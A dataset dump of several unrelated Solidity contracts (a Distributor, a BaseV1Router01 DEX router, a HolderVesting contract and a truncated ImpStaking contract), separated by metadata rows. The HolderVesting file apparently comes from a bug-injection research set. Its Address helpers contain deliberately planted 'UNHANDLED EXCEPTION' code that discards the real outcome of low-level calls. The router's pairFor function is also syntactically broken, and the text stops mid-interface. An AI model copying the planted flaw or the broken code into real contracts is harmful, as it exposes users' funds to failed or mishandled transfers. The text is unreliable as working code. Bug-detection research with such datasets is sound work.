(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 81,954 | 10,972 |
1b817c9484d41d42e31e3b23d9967ee2333ba06fde0c7d70e816aa344c5a3e3a
| 19,780 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9e/9e758f6324cd0efa3f518cc25fccfeb31ec930d0_BaseV1Router01.sol
| 5,001 | 18,799 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IBaseV1Factory {
function allPairsLength() external view returns (uint);
function isPair(address pair) external view returns (bool);
function pairCodeHash() external pure returns (bytes32);
function getPair(address tokenA, address token, bool stable) external view returns (address);
function createPair(address tokenA, address tokenB, bool stable) external returns (address pair);
}
interface IBaseV1Pair {
function transferFrom(address src, address dst, uint amount) external returns (bool);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function burn(address to) external returns (uint amount0, uint amount1);
function mint(address to) external returns (uint liquidity);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function getAmountOut(uint, address) external view returns (uint);
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
library Math {
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IWFTM {
function deposit() external payable returns (uint);
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external returns (uint);
}
contract BaseV1Router01 {
struct route {
address from;
address to;
bool stable;
}
address public immutable factory;
IWFTM public immutable wftm;
uint internal constant MINIMUM_LIQUIDITY = 10**3;
bytes32 immutable pairCodeHash;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'BaseV1Router: EXPIRED');
_;
}
constructor(address _factory, address _wftm) {
factory = _factory;
pairCodeHash = IBaseV1Factory(_factory).pairCodeHash();
wftm = IWFTM(_wftm);
}
receive() external payable {
assert(msg.sender == address(wftm)); // only accept ETH via fallback from the WETH contract
}
function sortTokens(address tokenA, address tokenB) public pure returns (address token0, address token1) {
require(tokenA != tokenB, 'BaseV1Router: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'BaseV1Router: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address tokenA, address tokenB, bool stable) public view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1, stable)),
pairCodeHash // init code hash)))));
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quoteLiquidity(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'BaseV1Router: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'BaseV1Router: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
// fetches and sorts the reserves for a pair
function getReserves(address tokenA, address tokenB, bool stable) public view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IBaseV1Pair(pairFor(tokenA, tokenB, stable)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountOut(uint amountIn, address tokenIn, address tokenOut) external view returns (uint amount, bool stable) {
address pair = pairFor(tokenIn, tokenOut, true);
uint amountStable;
uint amountVolatile;
if (IBaseV1Factory(factory).isPair(pair)) {
amountStable = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
pair = pairFor(tokenIn, tokenOut, false);
if (IBaseV1Factory(factory).isPair(pair)) {
amountVolatile = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
return amountStable > amountVolatile ? (amountStable, true) : (amountVolatile, false);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(uint amountIn, route[] memory routes) public view returns (uint[] memory amounts) {
require(routes.length >= 1, 'BaseV1Router: INVALID_PATH');
amounts = new uint[](routes.length+1);
amounts[0] = amountIn;
for (uint i = 0; i < routes.length; i++) {
address pair = pairFor(routes[i].from, routes[i].to, routes[i].stable);
if (IBaseV1Factory(factory).isPair(pair)) {
amounts[i+1] = IBaseV1Pair(pair).getAmountOut(amounts[i], routes[i].from);
}
}
}
function isPair(address pair) external view returns (bool) {
return IBaseV1Factory(factory).isPair(pair);
}
function quoteAddLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired) external view returns (uint amountA, uint amountB, uint liquidity) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
(uint reserveA, uint reserveB) = (0,0);
uint _totalSupply = 0;
if (_pair != address(0)) {
_totalSupply = erc20(_pair).totalSupply();
(reserveA, reserveB) = getReserves(tokenA, tokenB, stable);
}
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
liquidity = Math.sqrt(amountA * amountB) - MINIMUM_LIQUIDITY;
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
(amountA, amountB) = (amountADesired, amountBOptimal);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
(amountA, amountB) = (amountAOptimal, amountBDesired);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
}
}
}
function quoteRemoveLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity) external view returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
return (0,0);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
uint _totalSupply = erc20(_pair).totalSupply();
amountA = liquidity * reserveA / _totalSupply; // using balances ensures pro-rata distribution
amountB = liquidity * reserveB / _totalSupply; // using balances ensures pro-rata distribution
}
function _addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin) internal returns (uint amountA, uint amountB) {
require(amountADesired >= amountAMin);
require(amountBDesired >= amountBMin);
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
_pair = IBaseV1Factory(factory).createPair(tokenA, tokenB, stable);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, stable, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = pairFor(tokenA, tokenB, stable);
_safeTransferFrom(tokenA, msg.sender, pair, amountA);
_safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IBaseV1Pair(pair).mint(to);
}
function addLiquidityFTM(address token,
bool stable,
uint amountTokenDesired,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline) external payable ensure(deadline) returns (uint amountToken, uint amountFTM, uint liquidity) {
(amountToken, amountFTM) = _addLiquidity(token,
address(wftm),
stable,
amountTokenDesired,
msg.value,
amountTokenMin,
amountFTMMin);
address pair = pairFor(token, address(wftm), stable);
_safeTransferFrom(token, msg.sender, pair, amountToken);
wftm.deposit{value: amountFTM}();
assert(wftm.transfer(pair, amountFTM));
liquidity = IBaseV1Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountFTM) _safeTransferFTM(msg.sender, msg.value - amountFTM);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
require(IBaseV1Pair(pair).transferFrom(msg.sender, pair, liquidity)); // send liquidity to pair
(uint amount0, uint amount1) = IBaseV1Pair(pair).burn(to);
(address token0,) = sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityFTM(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountToken, uint amountFTM) {
(amountToken, amountFTM) = removeLiquidity(token,
address(wftm),
stable,
liquidity,
amountTokenMin,
amountFTMMin,
address(this),
deadline);
_safeTransfer(token, to, amountToken);
wftm.withdraw(amountFTM);
_safeTransferFTM(to, amountFTM);
}
function removeLiquidityWithPermit(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
{
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
}
(amountA, amountB) = removeLiquidity(tokenA, tokenB, stable, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityFTMWithPermit(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountFTM) {
address pair = pairFor(token, address(wftm), stable);
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountFTM) = removeLiquidityFTM(token, stable, liquidity, amountTokenMin, amountFTMMin, to, deadline);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, route[] memory routes, address _to) internal virtual {
for (uint i = 0; i < routes.length; i++) {
(address token0,) = sortTokens(routes[i].from, routes[i].to);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = routes[i].from == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < routes.length - 1 ? pairFor(routes[i+1].from, routes[i+1].to, routes[i+1].stable) : _to;
IBaseV1Pair(pairFor(routes[i].from, routes[i].to, routes[i].stable)).swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
route[] memory routes = new route[](1);
routes[0].from = tokenFrom;
routes[0].to = tokenTo;
routes[0].stable = stable;
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactFTMForTokens(uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[0].from == address(wftm), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(msg.value, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
wftm.deposit{value: amounts[0]}();
assert(wftm.transfer(pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]));
_swap(amounts, routes, to);
}
function swapExactTokensForFTM(uint amountIn, uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[routes.length - 1].to == address(wftm), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, address(this));
wftm.withdraw(amounts[amounts.length - 1]);
_safeTransferFTM(to, amounts[amounts.length - 1]);
}
function UNSAFE_swapExactTokensForTokens(uint[] memory amounts,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory) {
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
return amounts;
}
function _safeTransferFTM(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
| 79,869 | 10,973 |
9010f6d537f35e8a58709372770e93b9023d7ab366c8abf3fcdd6d3b53f78761
| 26,072 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/unhandledException/0x0811ad996cd39cecaedce64a51793cfebb913c12_unhandledException.sol
| 3,091 | 12,261 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = (false, bytes(msg.data));
recipient.call{ value: amount }(""); //inject UNHANDLED EXCEPTION
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = (false, bytes(msg.data));
target.call{ value: weiValue }(data); //inject UNHANDLED EXCEPTION
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HolderVesting is Ownable {
// cliff period of a year and a duration of four years, are safe to use.
// solhint-disable not-rely-on-time
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private constant RELEASE_INTERVAL = 1 weeks;
event TokensReleased(address token, uint256 amount);
event TokenVestingRevoked(address token);
// beneficiary of tokens after they are released
address private _beneficiary;
// ERC20 basic token contract being held
IERC20 private _token;
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 private _start;
uint256 private _duration;
// timestamp when token release was made last time
uint256 private _lastReleaseTime;
bool private _revocable;
uint256 private _released;
bool private _revoked;
constructor(IERC20 token, address beneficiary, uint256 start, uint256 duration, bool revocable) public {
require(beneficiary != address(0), "beneficiary is zero address");
require(duration > 0, "duration is 0");
// solhint-disable-next-line max-line-length
require(start.add(duration) > block.timestamp, "final time before current time");
_token = token;
_beneficiary = beneficiary;
//as contract is deployed by Holyheld token, transfer ownership to dev
transferOwnership(beneficiary);
_revocable = revocable;
_duration = duration;
_start = start;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function start() public view returns (uint256) {
return _start;
}
function duration() public view returns (uint256) {
return _duration;
}
function revocable() public view returns (bool) {
return _revocable;
}
function released() public view returns (uint256) {
return _released;
}
function revoked() public view returns (bool) {
return _revoked;
}
function lastReleaseTime() public view returns (uint256) {
return _lastReleaseTime;
}
function release() public {
uint256 unreleased = _releasableAmount();
require(unreleased > 0, "no tokens are due");
require(block.timestamp > _lastReleaseTime + RELEASE_INTERVAL, "release interval is not passed");
_released = _released.add(unreleased);
_token.safeTransfer(_beneficiary, unreleased);
_lastReleaseTime = block.timestamp;
emit TokensReleased(address(_token), unreleased);
}
function revoke() public onlyOwner {
require(_revocable, "cannot revoke");
require(!_revoked, "vesting already revoked");
uint256 balance = _token.balanceOf(address(this));
uint256 unreleased = _releasableAmount();
uint256 refund = balance.sub(unreleased);
_revoked = true;
_token.safeTransfer(owner(), refund);
emit TokenVestingRevoked(address(_token));
}
function _releasableAmount() private view returns (uint256) {
return _vestedAmount().sub(_released);
}
function _vestedAmount() private view returns (uint256) {
uint256 currentBalance = _token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released);
if (block.timestamp < _start) {
return 0;
} else if (block.timestamp >= _start.add(_duration) || _revoked) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
}
| 278,780 | 10,974 |
ecae713798a4076307dae2b0f51f6311e90f8ac42f51d5cac839b4f18c69f235
| 23,493 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/37/37fA807eac2b7F290F300E1CC1e714D5d55fA67D_ImpStaking.sol
| 4,486 | 16,326 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
